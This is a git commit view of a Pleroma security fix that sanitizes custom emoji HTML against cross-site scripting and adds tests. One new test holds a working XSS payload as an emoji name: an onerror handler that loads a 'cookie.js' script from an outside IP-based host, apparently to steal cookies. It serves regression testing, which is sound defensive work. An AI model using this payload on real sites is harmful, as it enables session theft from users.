Merge branch 'security/emoji-xss' into 'develop'

formatter: don't add XSS emoji

See merge request pleroma/pleroma!322
This commit is contained in:
kaniini 2018-09-02 00:08:56 +00:00
commit 3370fab1d0
4 changed files with 19 additions and 3 deletions

View file

@ -154,6 +154,7 @@ defmodule Pleroma.Formatter do
MediaProxy.url(file) MediaProxy.url(file)
}' />" }' />"
) )
|> HtmlSanitizeEx.basic_html()
end) end)
end end

View file

@ -189,11 +189,26 @@ defmodule Pleroma.FormatterTest do
text = "I love :moominmamma:" text = "I love :moominmamma:"
expected_result = expected_result =
"I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />" "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
assert Formatter.emojify(text) == expected_result assert Formatter.emojify(text) == expected_result
end end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
test "it returns the emoji used in the text" do test "it returns the emoji used in the text" do
text = "I love :moominmamma:" text = "I love :moominmamma:"

View file

@ -126,7 +126,7 @@ defmodule Pleroma.Web.TwitterAPI.Representers.ActivityRepresenterTest do
} }
expected_html = expected_html =
"<p>2hu</p>alert('YAY')Some <img height='32px' width='32px' alt='2hu' title='2hu' src='corndog.png' /> content mentioning <a href=\"#{ "<p>2hu</p>alert('YAY')Some <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /> content mentioning <a href=\"#{
mentioned_user.ap_id mentioned_user.ap_id
}\">@shp</a>" }\">@shp</a>"

View file

@ -22,7 +22,7 @@ defmodule Pleroma.Web.TwitterAPI.UserViewTest do
test "A user with emoji in username", %{user: user} do test "A user with emoji in username", %{user: user} do
expected = expected =
"<img height='32px' width='32px' alt='karjalanpiirakka' title='karjalanpiirakka' src='/file.png' /> man" "<img height=\"32px\" width=\"32px\" alt=\"karjalanpiirakka\" title=\"karjalanpiirakka\" src=\"/file.png\" /> man"
user = %{ user = %{
user user